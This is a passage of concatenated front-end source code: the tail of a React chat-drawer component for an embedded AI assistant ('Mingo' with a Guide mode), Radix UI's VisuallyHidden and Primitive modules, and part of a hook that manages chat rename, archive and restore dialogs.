<ActionsMenuDropdown\n                          triggerAriaLabel=\"Chat actions\"\n                          onCloseAutoFocus={(e) => e.preventDefault()}\n                          groups={[{ items: splitHeaderMenuItems }]}\n                          customTrigger={\n                            <ChatHeaderIconButton aria-label=\"Chat actions\">\n                              <Ellipsis01Icon size={24} />\n                            </ChatHeaderIconButton>\n                          }\n                        />\n                      )}\n                      <ChatHeaderIconButton onClick={handleClose} aria-label=\"Close\">\n                        <XmarkIcon size={24} />\n                      </ChatHeaderIconButton>\n                    </div>\n                  </div>\n              ) : (\n                // Narrow single-column header — list / compose / conversation /\n                // guide, resolved into `narrowHeaderProps` above. (Wide layouts,\n                // including rail-collapsed, use the wide header above.) Embedded\n                // previews (hero demo tabs) force the compact bar via `compact`.\n                <ChatPanelHeader {...narrowHeaderProps} compact={previewMode} />\n              )}\n\n              {/* Guide-mode indicator banner (Figma node 7532:328222) —\n                  full-bleed accent strip below the header. Shown only when\n                  Guide mode is active AND the default (Mingo) mode also exists:\n                  the banner contrasts the temporary Guide session against the\n                  default chat, so it's meaningless in a guide-only setup. */}\n              {activeMode === 'guide' && hasMingoMode && (\n                <GuideModeBanner className=\"animate-in fade-in-0 duration-200\" />\n              )}\n\n              {/* Chat-panel row. In the wide Mingo layout (`splitActive`) the\n                  dialog history is hoisted into a fixed 320px \"Current Chats\"\n                  rail on the left; the stacked layout keeps it inline in the\n                  Mingo empty state (`<MingoChatHistory>` via `<MingoWelcome>`). */}\n              <div className=\"flex flex-1 min-h-0 overflow-hidden\">\n                {railPresence.mounted && (\n                  <RailSlot\n                    active={railPresence.active}\n                    innerClassName=\"flex flex-col min-h-0 bg-ods-card\"\n                  >\n                    {archiveOpen ? (\n                      // Archive list inside the rail (header lives in the split\n                      // header's left cell above). Right chat block stays put.\n                      <ChatArchivePage\n                        embedded\n                        dialogs={archivedDialogs}\n                        onSelectDialog={handleArchivedSelect}\n                        isLoading={archivedLoading}\n                        isFetching={archivedPending}\n                        hasMore={archivedCursor != null}\n                        onLoadMore={() => {\n                          void loadArchivedPage(archivedCursor ?? undefined)\n                        }}\n                      />\n                    ) : (\n                      <MingoHistoryRail\n                        dialogs={dialogs}\n                        activeDialogId={activeDialogId ?? undefined}\n                        onSelectDialog={handleSelectDialog}\n                        onNewChat={handleNewChat}\n                        onRequestRename={mingoCaps.canRename ? setRenameTarget : undefined}\n                        onRequestArchive={mingoCaps.canArchive ? setArchiveTarget : undefined}\n                        onRequestCopyLink={mingoCaps.onCopyLink}\n                        scope={dialogScope}\n                        onScopeChange={setDialogScope}\n                        searchQuery={mingoCaps.searchQuery}\n                        hasMore={hasMoreDialogs}\n                        isLoadingMore={isDialogsLoading && dialogs.length > 0}\n                        onLoadMore={() => {\n                          void loadMoreDialogs()\n                        }}\n                        isLoadingHistory={dialogsInitialLoading}\n                        loadError={dialogsLoadError}\n                        onRetry={reloadDialogs}\n                      />\n                    )}\n                  </RailSlot>\n                )}\n                <div className=\"flex flex-1 flex-col min-h-0 min-w-0\">\n                {stackedListView ? (\n                  // Narrow \"Current Chats\" list (Figma 341:36190) — the default\n                  // single-column view. No composer here; \"Start New Chat\" opens\n                  // the compose view.\n                  <MingoHistoryRail\n                    className=\"animate-in fade-in-0 duration-200\"\n                    dialogs={dialogs}\n                    activeDialogId={activeDialogId ?? undefined}\n                    onSelectDialog={handleSelectDialog}\n                    onNewChat={() => setComposeOpen(true)}\n                    onRequestRename={mingoCaps.canRename ? setRenameTarget : undefined}\n                    onRequestArchive={mingoCaps.canArchive ? setArchiveTarget : undefined}\n                    onRequestCopyLink={mingoCaps.onCopyLink}\n                    scope={dialogScope}\n                    onScopeChange={setDialogScope}\n                    searchQuery={mingoCaps.searchQuery}\n                    hasMore={hasMoreDialogs}\n                    isLoadingMore={isDialogsLoading && dialogs.length > 0}\n                    onLoadMore={() => {\n                      void loadMoreDialogs()\n                    }}\n                    isLoadingHistory={dialogsInitialLoading}\n                    loadError={dialogsLoadError}\n                    onRetry={reloadDialogs}\n                  />\n                ) : (\n                <>\n\n              <div\n                ref={galleryPanelRef}\n                className=\"flex-1 flex flex-col min-h-0 p-[var(--spacing-system-m)]\"\n              >\n                <div\n                  key={contentViewKey}\n                  className=\"flex-1 flex flex-col min-h-0 animate-in fade-in-0 duration-200\"\n                >\n                {hasConversation ? (\n                  <div className=\"flex-1 flex flex-col min-h-0\">\n                    {messagesInitialLoading ? (\n                      // Match the real list's `fullWidth` layout so swapping\n                      // skeleton → bubbles doesn't shift the column. The panel\n                      // wrapper above already pads (`p-[var(--spacing-system-m)]`),\n                      // so the skeleton sits flush (no inner px/pb).\n                      //\n                      // In `previewMode` the chat lives in a fixed-height host box\n                      // (e.g. the Mingo hero demo). The default bottom-anchored\n                      // skeleton overflows a short panel and grows its OWN\n                      // scrollbar — ugly. `fill` top-anchors + clips overflow so\n                      // it reads as \"the whole panel is loading\" and never scrolls.\n                      <ChatMessageListSkeleton\n                        fullWidth\n                        fill={previewMode}\n                        className=\"flex-1\"\n                      />\n                    ) : (\n                    <ChatMessageList\n                      messages={messages}\n                      isTyping={chatLoading}\n                      // Sticky footer for approvals the host lifted out of the\n                      // thread — see the prop's docblock.\n                      pendingApprovals={pendingApprovals}\n                      // Real drawer: the library's smart follow. Passive in-page\n                      // demo (previewMode): deterministic hard pin instead — a\n                      // scripted assistant-only stream from a cold mount never\n                      // satisfies the library's \"at bottom\" gate, so the reply\n                      // landed below the fold. `pinBottom` snaps to bottom on\n                      // every frame; identical mechanism to the Fae demo box, so\n                      // both surfaces behave 1:1.\n                      autoScroll={!previewMode}\n                      pinBottom={previewMode}\n                      // Passive in-page demos (previewMode) let the surrounding\n                      // page scroll over the thread; the real drawer keeps\n                      // containment (deck slide-scroll fix).\n                      overscrollContain={!previewMode}\n                      assistantType=\"mingo\"\n                      assistantIcon={mingoAssistantIcon}\n                      renderEntityCard={renderEntityCard}\n                      resolveContextIcon={resolveContextIcon}\n                      renderContextItem={renderContextItem}\n                      renderMention={renderMention}\n                      // Gated on `chatLoading` for the same reason the composer\n                      // is: no second send while a turn is in flight. Passive\n                      // demo hosts (previewMode) stay read-only.\n                      onAskSelect={chatLoading || previewMode ? undefined : handleAskSelect}\n                      NavLinkAnchor={NavLinkAnchorViaRuntime}\n                      // Real Mingo drawer: hide the message-list scrollbar\n                      // (scroll stays functional). Scoped here via `className`\n                      // instead of `ChatMessageList` itself, so other list\n                      // consumers (host chat, tickets) keep their thin bar.\n                      //\n                      // `previewMode` (the passive in-page demo) instead:\n                      //  • KEEP the default thin scrollbar — the \"elevator\" —\n                      //    so the Mingo demo's scroll controls match the Fae\n                      //    demo box (which renders the default ChatMessageList\n                      //    scrollbar) 1:1.\n                      //  • Re-enable pointer events on the scroller: previewMode\n                      //    puts `pointer-events-none` on the whole panel (line\n                      //    ~1981) so the demo doesn't trap clicks, but that also\n                      //    killed wheel/touch scroll on the thread (the Mingo\n                      //    embed couldn't scroll while the Fae box could). Only\n                      //    the scroller re-enables; composer + chrome stay inert.\n                      className={\n                        previewMode\n                          ? 'flex-1 pointer-events-auto'\n                          : 'flex-1 [scrollbar-width:none] [&::-webkit-scrollbar]:hidden'\n                      }\n                      // No inner `px`/`pb`: the panel wrapper already pads with\n                      // `p-[var(--spacing-system-m)]`. The default content class\n                      // adds `px-[var(--spacing-system-m)]` + `pb-…xs`, which\n                      // double-inset the thread; `pb-0` overrides via twMerge.\n                      contentClassName=\"max-w-none pb-0\"\n                      fullWidth\n                      hasNextPage={hasMoreMessages}\n                      isFetchingNextPage={isMessagesLoading}\n                      onLoadMore={loadMoreMessages}\n                    />\n                    )}\n                    {lastSources &&\n                      (lastSources.cited.length > 0 ||\n                        lastSources.uncited.length > 0) &&\n                      !chatLoading && (\n                        <div className=\"flex-shrink-0 pb-2\">\n                          <SourceChips\n                            cited={lastSources.cited}\n                            uncited={lastSources.uncited}\n                            baseRoute={resolvedBaseRoute}\n                            chipBasePlatform={chipBasePlatform}\n                            onClose={handleNavigationClose}\n                            onDiscuss={discussRef}\n                          />\n                        </div>\n                      )}\n                  </div>\n                ) : activeMode === 'mingo' ? (\n                  /* Figma node 7532:222444 — default (Mingo-mode) empty state:\n                     centred greeting + capability grid + Guide-chat promo +\n                     quick-action chips. Guide mode keeps the slash-command\n                     onboarding list below. */\n                  <MingoWelcome\n                    onStartGuideChat={\n                      effectiveModes.guide\n                        ? () => handleActiveModeChange('guide')\n                        : undefined\n                    }\n                    {...mingoWelcome}\n                    // History now lives in its own list view (the wide rail or\n                    // the narrow \"Current Chats\" list), so the welcome is always\n                    // the new-user compose surface: greeting + grid + promo +\n                    // primary Guide chip.\n                    hasExistingChats={false}\n                    // Hover/focus PREVIEWS the action's full prompt as ghost text\n                    // in the empty composer (see `quickActionPreview` /\n                    // `ChatInput.previewText`). Wired after the `{...mingoWelcome}`\n                    // spread so the host can't override it.\n                    onQuickActionHover={(action) =>\n                      setQuickActionPreview(action.prompt ?? action.label)\n                    }\n                    onQuickActionHoverEnd={() => setQuickActionPreview(null)}\n                    // A built-in agent caps the quick-action wall at 2 rows;\n                    // this is the Mingo surface, so fall back to 'mingo'.\n                    agentSlug={activeAgentSlug ?? 'mingo'}\n                  />\n                ) : (\n                  /* Figma node 7532:328214 — Guide-mode empty state: greeting\n                     + slash-command onboarding list share one scroll region,\n                     with a pinned quick-action chip row above the composer. */\n                  <GuideWelcome\n                    // Admin/host greeting customises the guide subtitle; an\n                    // explicit `guideWelcome.subtitle` still wins (spread below).\n                    subtitle={effectiveGreeting ?? undefined}\n                    // While the admin greeting is still being fetched, render a\n                    // subtitle skeleton instead of flashing empty → text.\n                    subtitleLoading={emptyStateLoading}\n                    {...guideWelcome}\n                    // Agent identity (name → title, icon → empty-state glyph)\n                    // wins over the host `guideWelcome` spread + built-in\n                    // defaults; falls back to the host value when no agent is\n                    // active. Placed after the spread so resolution is\n                    // deterministic.\n                    title={effectiveAssistantName ?? guideWelcome?.title}\n                    icon={effectiveAssistantIcon ?? guideWelcome?.icon}\n                    // Admin \"try-asking chips\" → Guide quick-action chips.\n                    // Precedence: when an AGENT is active and its fetched chips\n                    // arrived, the agent's chips win — the host array is the\n                    // platform default, not the agent's. (`agentConfigUrl` is\n                    // the same derived value that drives the config fetch, so\n                    // this can never disagree with what was fetched; while the\n                    // fetch is in-flight the fetched list is [] and host chips\n                    // show.) Outside agent mode the host-provided\n                    // `guideWelcome.quickActions` wins as before.\n                    quickActions={\n                      agentConfigUrl && guideSuggestedActions.length > 0\n                        ? guideSuggestedActions\n                        : (guideWelcome?.quickActions ?? guideSuggestedActions)\n                    }\n                    // Quick-action chips SEND the prompt immediately on click.\n                    onQuickAction={(action) => {\n                      setQuickActionPreview(null)\n                      handleSend(action.prompt ?? action.label)\n                    }}\n                    // Hover/focus PREVIEWS the action's full prompt as ghost text\n                    // in the empty composer (the chip label is short; this reveals\n                    // what will be sent). Declarative + non-destructive — see\n                    // `quickActionPreview` / `ChatInput.previewText`.\n                    onQuickActionHover={(action) =>\n                      setQuickActionPreview(action.prompt ?? action.label)\n                    }\n                    onQuickActionHoverEnd={() => setQuickActionPreview(null)}\n                    // In agent mode a built-in agent (fae/mingo) caps the wall at\n                    // 2 rows; host/guide mode (no active agent) keeps the default.\n                    agentSlug={activeAgentSlug}\n                  >\n                    {/* Figma node 7363:205938 — single-column slash-command\n                        list. No own scroll (GuideWelcome's region scrolls); the\n                        rounded-md frame holds the cards on the dark surface. */}\n                    {(chipCommands.length > 0 || !commandsLoaded) && (\n                      <div className=\"shrink-0 overflow-hidden rounded-md border border-ods-border\">\n                        {!commandsLoaded &&\n                          chipCommands.length === 0 &&\n                          SKELETON_ROW_VARIANTS.map((variant, i) => (\n                            <MingoOnboardingCardSkeleton\n                              key={`chip-skeleton-${i}`}\n                              titleWidth={variant.titleWidth}\n                              slashWidth={variant.slashWidth}\n                              descriptionLines={variant.descriptionLines}\n                            />\n                          ))}\n                        {chipCommands.map((cmd) => {\n                          const Icon = resolveIcon(cmd.iconName)\n                          const cmdId = cmd.id\n                          const label = cmd.label ?? `/${cmdId}`\n                          const cardActions = cmd.actions.map((action) => ({\n                            id: action.id,\n                            label: action.label,\n                            onClick: () =>\n                              dispatchSlashCommandAction(\n                                action.id,\n                                cmdId,\n                                chatInputRef,\n                              ),\n                          }))\n                          return (\n                            <MingoOnboardingCard\n                              key={cmdId}\n                              icon={<Icon size={16} />}\n                              title={label}\n                              slashCommand={`/${cmdId}`}\n                              description={cmd.description}\n                              actions={cardActions}\n                            />\n                          )\n                        })}\n                      </div>\n                    )}\n                  </GuideWelcome>\n                )}\n                </div>\n              </div>\n\n              <ChatAttachmentChipStrip\n                attachments={stagedAttachments}\n                onRemove={removeAttachment}\n                disabled={chatLoading}\n              />\n\n              <ChatComposer\n                archived={isViewingArchived}\n                inputRef={chatInputRef}\n                onSend={handleSend}\n                onStop={stopMessage}\n                sending={chatLoading || hasInflightUploads}\n                placeholder={\n                  hasInflightUploads\n                    ? 'Waiting for uploads to finish…'\n                    : 'Ask a question...'\n                }\n                autoFocus={previewMode ? false : autoFocusInput}\n                slashCommands={slashCommandsProp}\n                previewText={quickActionPreview ?? undefined}\n                showAttachmentButton={attachmentsEnabled && activeMode === 'guide'}\n                attachmentsCount={stagedAttachments.length}\n                onAddFiles={addAttachmentFiles}\n                attachmentsDisabled={chatLoading}\n                contextPicker={contextPickerForMode}\n                selectedContextItems={contextItems}\n                onToggleContextItem={toggleContextItem}\n                onRemoveContextItem={removeContextItem}\n                contextMemoryItems={contextMemory?.items}\n                onRemoveContextMemoryItem={contextMemory?.onRemove}\n                contextPickerOpen={contextPickerOpen}\n                onOpenContextPicker={openContextPicker}\n                onCloseContextPicker={closeContextPicker}\n                mentionQuery={mentionQuery}\n                onMentionQueryChange={handleMentionQueryChange}\n                onValueChange={handleContextValueChange}\n                model={{\n                  provider: currentProvider ?? 'anthropic',\n                  modelName: currentModelLabel ?? 'Claude',\n                  usedTokens:\n                    currentInputTokens != null\n                      ? (currentInputTokens ?? 0) + (currentOutputTokens ?? 0)\n                      : undefined,\n                  contextWindow: currentContextWindowMaxTokens ?? undefined,\n                  inputTokens: currentInputTokens ?? undefined,\n                  outputTokens: currentOutputTokens ?? undefined,\n                  hitRatePct: currentCacheHitRatePct ?? undefined,\n                  breakdown: currentUsageBreakdown ?? undefined,\n                }}\n              />\n                </>\n                )}\n                </div>\n              </div>\n              </div>\n              )}\n            </div>\n            {galleryModal}\n\n            {/* Rename / Archive / Unarchive chat modals (Figma 7592:225962,\n                7592:226181). Triggered from the header ⋯ and the dialog-history\n                rows; rendered inside the panel so they overlay the chat. */}\n            <ChatDialogModals\n              renameTarget={renameTarget}\n              setRenameTarget={setRenameTarget}\n              onConfirmRename={handleConfirmRename}\n              archiveTarget={archiveTarget}\n              setArchiveTarget={setArchiveTarget}\n              onConfirmArchive={handleConfirmArchive}\n              restoreTarget={restoreTarget}\n              setRestoreTarget={setRestoreTarget}\n              onConfirmRestore={handleConfirmRestore}\n            />\n\n            {/* Portal target for in-panel Radix overlays — `display: contents`\n                so it adds no box; content is positioned `fixed` by Radix. */}\n            <div ref={setPortalHost} style={{ display: 'contents' }} />\n         </CollisionBoundaryContext.Provider>\n          </PortalContainerContext.Provider>\n  )\n\n  // Conditional shell: inline (shell-less host, e.g. AppLayoutDrawer, which\n  // provides its own chrome/focus-trap/size) vs the body-level Radix Drawer\n  // (backdrop, iOS scroll-lock, drag-to-resize). Both render the same `body`.\n  const panel = shellLess ? (\n    <ChatPanelContext.Provider value={chatPanelHandle}>\n      {/* Shell-less hosts (AppLayoutDrawer) own the Radix Dialog but not its\n          accessible name — Radix warns when a Dialog.Content has no Title. The\n          panel supplies its own visually-hidden title here, mirroring the\n          drawer-shell branch below, so it's accessible regardless of host. */}\n      <VisuallyHidden>\n        <DialogPrimitive.Title>{sourceLabel} AI Assistant</DialogPrimitive.Title>\n      </VisuallyHidden>\n      {body}\n    </ChatPanelContext.Provider>\n  ) : (\n    <Drawer open={isOpen} onOpenChange={(o: boolean) => !o && handleClose()}>\n      <ChatPanelContext.Provider value={chatPanelHandle}>\n        {/* Panel-level handle for descendants (inline cards, markdown-body\n            links) to close the panel after same-tab navigation. */}\n        <DrawerContent\n          side=\"right\"\n          flush\n          resizable\n          minSize={480}\n          maxSize={1600}\n          defaultSize={drawerDefaultWidth()}\n          storageKey={DRAWER_WIDTH_KEY}\n          resizeAriaLabel=\"Resize chat panel\"\n          overlayClassName=\"mingo-chat-overlay\"\n          aria-describedby={undefined}\n          className=\"\n            mingo-chat-content !bg-ods-bg shadow-2xl\n            focus:outline-none focus-visible:outline-none\n            w-screen md:w-auto\n          \"\n        >\n          <VisuallyHidden>\n            <DialogPrimitive.Title>{sourceLabel} AI Assistant</DialogPrimitive.Title>\n          </VisuallyHidden>\n          {body}\n        </DrawerContent>\n      </ChatPanelContext.Provider>\n    </Drawer>\n  )\n\n  return (\n    <>\n      {/* Floating \"Ask AI\" button — sticky-dock pattern. Suppressed in\n          shell-less mode: the host controls open/close. */}\n      {showInternalTrigger && !shellLess && (\n        <div\n          aria-hidden={isOpen}\n          className={`sticky bottom-0 h-0 z-[9990] pointer-events-none ${\n            isOpen ? 'opacity-0' : 'opacity-100'\n          }`}\n        >\n          <div className=\"absolute bottom-4 md:bottom-6 right-4 md:right-6\">\n            <Button\n              onClick={handleOpen}\n              leftIcon={<MingoIcon className=\"h-5 w-5\" color=\"currentColor\" />}\n              tabIndex={isOpen ? -1 : 0}\n              className={`shadow-lg !w-auto pointer-events-auto ${\n                isOpen ? '!pointer-events-none' : ''\n              }`}\n            >\n              Ask AI\n            </Button>\n          </div>\n        </div>\n      )}\n      {panel}\n    </>\n  )\n}\n\n","import * as React from 'react';\nimport { Primitive } from '@radix-ui/react-primitive';\n\n/* -------------------------------------------------------------------------------------------------\n * VisuallyHidden\n * -----------------------------------------------------------------------------------------------*/\n\nconst VISUALLY_HIDDEN_STYLES = Object.freeze({\n  // See: https://github.com/twbs/bootstrap/blob/main/scss/mixins/_visually-hidden.scss\n  position: 'absolute',\n  border: 0,\n  width: 1,\n  height: 1,\n  padding: 0,\n  margin: -1,\n  overflow: 'hidden',\n  clip: 'rect(0, 0, 0, 0)',\n  whiteSpace: 'nowrap',\n  wordWrap: 'normal',\n}) satisfies React.CSSProperties;\n\ntype VisuallyHiddenElement = React.ComponentRef<typeof Primitive.span>;\ntype PrimitiveSpanProps = React.ComponentPropsWithoutRef<typeof Primitive.span>;\ninterface VisuallyHiddenProps extends PrimitiveSpanProps {}\n\nconst VisuallyHidden = /* @__PURE__ */ React.forwardRef<VisuallyHiddenElement, VisuallyHiddenProps>(\n  function VisuallyHidden(props, forwardedRef) {\n    return (\n      <Primitive.span\n        {...props}\n        ref={forwardedRef}\n        style={{ ...VISUALLY_HIDDEN_STYLES, ...props.style }}\n      />\n    );\n  },\n);\n\n/* -----------------------------------------------------------------------------------------------*/\n\nconst Root = VisuallyHidden;\n\nexport {\n  VisuallyHidden,\n  //\n  Root,\n  //\n  VISUALLY_HIDDEN_STYLES,\n};\nexport type { VisuallyHiddenProps };\n","import * as React from 'react';\nimport * as ReactDOM from 'react-dom';\nimport { createSlot } from '@radix-ui/react-slot';\n\ndeclare module 'react' {\n  interface CSSProperties {\n    [varName: `--radix-${string}`]: string | number | undefined | null;\n  }\n}\n\nconst NODES = [\n  'a',\n  'button',\n  'div',\n  'form',\n  'h2',\n  'h3',\n  'img',\n  'input',\n  'label',\n  'li',\n  'nav',\n  'ol',\n  'p',\n  'select',\n  'span',\n  'svg',\n  'ul',\n] as const;\n\ntype Primitives = { [E in (typeof NODES)[number]]: PrimitiveForwardRefComponent<E> };\ntype PrimitivePropsWithRef<E extends React.ElementType> = React.ComponentPropsWithRef<E> & {\n  asChild?: boolean;\n};\n\ninterface PrimitiveForwardRefComponent<\n  E extends React.ElementType,\n> extends React.ForwardRefExoticComponent<PrimitivePropsWithRef<E>> {}\n\n/* -------------------------------------------------------------------------------------------------\n * Primitive\n * -----------------------------------------------------------------------------------------------*/\n\n/* @__NO_SIDE_EFFECTS__ */ const Primitive = NODES.reduce((primitive, node) => {\n  const Slot = createSlot(`Primitive.${node}`);\n  const Node = React.forwardRef((props: PrimitivePropsWithRef<typeof node>, forwardedRef: any) => {\n    const { asChild, ...primitiveProps } = props;\n    const Comp: any = asChild ? Slot : node;\n\n    if (typeof window !== 'undefined') {\n      (window as any)[Symbol.for('radix-ui')] = true;\n    }\n\n    return <Comp {...primitiveProps} ref={forwardedRef} />;\n  });\n\n  Node.displayName = `Primitive.${node}`;\n\n  return { ...primitive, [node]: Node };\n}, {} as Primitives);\n\n/* -------------------------------------------------------------------------------------------------\n * Utils\n * -----------------------------------------------------------------------------------------------*/\n\n/**\n * Flush custom event dispatch\n * https://github.com/radix-ui/primitives/pull/1378\n *\n * React batches *all* event handlers since version 18, this introduces certain considerations when using custom event types.\n *\n * Internally, React prioritises events in the following order:\n *  - discrete\n *  - continuous\n *  - default\n *\n * https://github.com/facebook/react/blob/a8a4742f1c54493df00da648a3f9d26e3db9c8b5/packages/react-dom/src/events/ReactDOMEventListener.js#L294-L350\n *\n * `discrete` is an  important distinction as updates within these events are applied immediately.\n * React however, is not able to infer the priority of custom event types due to how they are detected internally.\n * Because of this, it's possible for updates from custom events to be unexpectedly batched when\n * dispatched by another `discrete` event.\n *\n * In order to ensure that updates from custom events are applied predictably, we need to manually flush the batch.\n * This utility should be used when dispatching a custom event from within another `discrete` event, this utility\n * is not necessary when dispatching known event types, or if dispatching a custom type inside a non-discrete event.\n * For example:\n *\n * dispatching a known click 👎\n * target.dispatchEvent(new Event(‘click’))\n *\n * dispatching a custom type within a non-discrete event 👎\n * onScroll={(event) => event.target.dispatchEvent(new CustomEvent(‘customType’))}\n *\n * dispatching a custom type within a `discrete` event 👍\n * onPointerDown={(event) => dispatchDiscreteCustomEvent(event.target, new CustomEvent(‘customType’))}\n *\n * Note: though React classifies `focus`, `focusin` and `focusout` events as `discrete`, it's  not recommended to use\n * this utility with them. This is because it's possible for those handlers to be called implicitly during render\n * e.g. when focus is within a component as it is unmounted, or when managing focus on mount.\n */\n\nfunction dispatchDiscreteCustomEvent<E extends CustomEvent>(target: E['target'], event: E) {\n  if (target) ReactDOM.flushSync(() => target.dispatchEvent(event));\n}\n\n/* -----------------------------------------------------------------------------------------------*/\n\nconst Root = Primitive;\n\nexport {\n  Primitive,\n  //\n  Root,\n  //\n  dispatchDiscreteCustomEvent,\n};\nexport type { PrimitivePropsWithRef };\n","'use client'\n\nimport { useCallback, useMemo, useRef, useState } from 'react'\nimport type { DialogItem } from '../types/component.types'\nimport type {\n  FetchDialogsParams,\n  FetchDialogsResult,\n} from './use-nats-chat-adapter'\n\nexport interface UseChatDialogManagerArgs {\n  /** Active (non-archived) dialogs from the unified chat state. */\n  dialogs: ReadonlyArray<DialogItem>\n  /** Currently-open dialog id. */\n  activeDialogId: string | null | undefined\n  /** Open a dialog by id. */\n  selectDialog: (id: string | null) => void\n  /** Reset the open conversation (drops back to the list / empty state). */\n  clearMessages: () => void\n  /** Rename a dialog (wired through the active adapter). */\n  renameDialog: (id: string, title: string) => Promise<void>\n  /** Archive a dialog (wired through the active adapter). */\n  archiveDialog: (id: string) => Promise<void>\n  /** Host callback that pages archived dialogs — gates the archive UI. */\n  fetchArchivedDialogs?: (\n    params: FetchDialogsParams,\n  ) => Promise<FetchDialogsResult>\n  /** Host callback that restores an archived dialog — gates the restore UI. */\n  unarchiveDialog?: (id: string) => Promise<void>\n}\n\n/**\n * Owns the chat panel's dialog-history concerns so `EmbeddableChat` stays an\n * orchestrator rather than a state dump:\n *   - the Chat Archive page (open / paginate the archived list),\n *   - read-only \"archived conversation\" mode (open from the archive, restore,\n *     back-to-archive navigation),\n *   - the Rename / Archive / Unarchive confirmation-modal targets + handlers.\n *\n * Returns flat fields (intentionally the same names the JSX already uses) so\n * the consuming component reads as a thin wiring layer.\n */\nexport function useChatDialogManager({\n  dialogs,\n  activeDialogId,\n  selectDialog,\n  clearMessages,\n  renameDialog,\n  archiveDialog,\n  fetchArchivedDialogs,\n  unarchiveDialog,\n}: UseChatDialogManagerArgs) {\n  // ─── Rename / Archive confirmation modals ───\n  const [renameTarget, setRenameTarget] = useState<DialogItem | null>(null)\n  const [archiveTarget, setArchiveTarget] = useState<DialogItem | null>(null)\n  const handleConfirmRename = useCallback(\n    (name: string) => {\n      if (renameTarget) void renameDialog(renameTarget.id, name)\n      setRenameTarget(null)\n    },\n    [renameTarget, renameDialog],\n  )\n  const handleConfirmArchive = useCallback(async () => {\n    if (archiveTarget) {\n      try {\n        await archiveDialog(archiveTarget.id)\n      } catch (err) {\n        // Keep the modal open (don't clear the target) so the user can retry;\n        // don't tear down the open conversation for an archive that failed.\n        console.error('[useChatDialogManager] archive failed:', err)\n        return\n      }\n      // Archiving the open conversation drops back to the chat list.\n      if (archiveTarget.id === activeDialogId) {\n        setOpeningDialogId(null)\n        clearMessages()\n      }\n    }\n    setArchiveTarget(null)\n  }, [archiveTarget, archiveDialog, activeDialogId, clearMessages])\n\n  // ─── Chat Archive page ───\n  // The archived list is paged locally (it's a secondary, on-demand view).\n  const [archiveOpen, setArchiveOpen] = useState(false)\n  const [archivedDialogs, setArchivedDialogs] = useState<DialogItem[]>([])\n  const [archivedCursor, setArchivedCursor] = useState<string | null>(null)\n  const [archivedLoading, setArchivedLoading] = useState(false)\n  // A fetch is in flight, tracked SEPARATELY from the delayed skeleton\n  // (`archivedLoading`). Set synchronously so the empty state stays suppressed\n  // during the 120ms skeleton delay — otherwise an uncached first open flashes\n  // \"No archived chats\" before the skeleton/data appears.\n  const [archivedPending, setArchivedPending] = useState(false)\n  // Monotonic request id — a background page-1 refresh and a pagination fetch\n  // can overlap (the retained list stays interactive while page 1 revalidates).\n  // Only the LATEST request may mutate the list / cursor / loading flags, so a\n  // slow earlier response can't clobber newer rows, append stale ones, or clear\n  // the shared loading flag while another request is still in flight.\n  const archivedRequestIdRef = useRef(0)\n  const loadArchivedPage = useCallback(\n    async (cursor?: string): Promise<void> => {\n      if (!fetchArchivedDialogs) return\n      const requestId = ++archivedRequestIdRef.current\n      const isCurrent = () => archivedRequestIdRef.current === requestId\n      // Only a first-page load drives the full-view skeleton, and only if it's\n      // actually slow: a 120ms delay means a cached/fast fetch (the host caches\n      // page 1) resolves first and never flashes a skeleton. Pagination\n      // (`cursor`) keeps the current list visible.\n      const isInitial = !cursor\n      setArchivedPending(true)\n      let skeletonTimer: ReturnType<typeof setTimeout> | undefined\n      if (isInitial) {\n        // Delay the full-view skeleton so a cached/fast page-1 fetch never\n        // flashes it (and skip it if a newer request already superseded us).\n        skeletonTimer = setTimeout(() => {\n          if (isCurrent()) setArchivedLoading(true)\n        }, 120)\n      } else {\n        // Pagination shows its \"load more\" indicator immediately (the list\n        // stays visible), so no delay here.\n        setArchivedLoading(true)\n      }\n      try {\n        const result = await fetchArchivedDialogs({ cursor, limit: 20 })\n        // A newer request superseded this one — drop the response so overlapping\n        // refresh / pagination can't append stale rows or clobber newer results.\n        if (!isCurrent()) return\n        setArchivedCursor(result.nextCursor)\n        setArchivedDialogs((prev) =>\n          cursor ? [...prev, ...result.dialogs] : result.dialogs,\n        )\n      } catch (err) {\n        if (!isCurrent()) return\n        console.error('[useChatDialogManager] fetchArchivedDialogs failed:', err)\n      } finally {\n        if (skeletonTimer) clearTimeout(skeletonTimer)\n        // Only the latest request owns the shared loading / pending flags.\n        if (isCurrent()) {\n          setArchivedLoading(false)\n          setArchivedPending(false)\n        }\n      }\n    },\n    [fetchArchivedDialogs],\n  )\n  const openArchive = useCallback(() => {\n    setArchiveOpen(true)\n    // Don't clear the list — keep any already-loaded page visible and refresh\n    // page 1 in the background (stale-while-revalidate), so reopening the\n    // archive within a session doesn't blank out to a skeleton.\n    void loadArchivedPage()\n  }, [loadArchivedPage])\n  const closeArchive = useCallback(() => setArchiveOpen(false), [])\n\n  // ─── Read-only \"archived conversation\" mode ───\n  // Set when a chat is opened FROM the archive page — flips the open\n  // conversation into read-only mode (restore button + disabled composer).\n  const [viewingArchivedId, setViewingArchivedId] = useState<string | null>(\n    null,\n  )\n\n  // ─── Open-conversation tracking ───\n  // `openingDialogId` is set synchronously the moment a dialog is selected from\n  // the current-chats list, so the panel can flip to the conversation surface\n  // immediately — matching the archived-chat open (`viewingArchivedId` above)\n  // instead of waiting for `messages` to finish loading. Without it the normal\n  // open lagged behind the archived one (grey → load → flip vs. instant flip).\n  const [openingDialogId, setOpeningDialogId] = useState<string | null>(null)\n  const handleSelectDialog = useCallback(\n    (id: string) => {\n      setViewingArchivedId(null)\n      setOpeningDialogId(id)\n      selectDialog(id)\n    },\n    [selectDialog],\n  )\n  const isOpeningDialog =\n    openingDialogId != null && openingDialogId === activeDialogId\n\n  const handleArchivedSelect = useCallback(\n    (id: string) => {\n      setArchiveOpen(false)\n      setOpeningDialogId(null)\n      setViewingArchivedId(id)\n      selectDialog(id)\n    },\n    [selectDialog],\n  )\n  const [restoreTarget, setRestoreTarget] = useState<DialogItem | null>(null)\n  const handleConfirmRestore = useCallback(async () => {\n    if (restoreTarget) {\n      try {\n        await unarchiveDialog?.(restoreTarget.id)\n      } catch (err) {\n        // Backend restore failed — leave the local archived cache untouched so\n        // the dialog doesn't vanish from the archive only to resurface on the\n        // next fetch. Keep the modal open for a retry.\n        console.error('[useChatDialogManager] unarchive failed:', err)\n        return\n      }\n      // Drop it from the locally-cached archived list and exit read-only mode\n      // so the composer returns and the user can keep chatting.\n      setArchivedDialogs((prev) => prev.filter((d) => d.id !== restoreTarget.id))\n      setViewingArchivedId((cur) => (cur === restoreTarget.id ? null : cur))\n    }\n    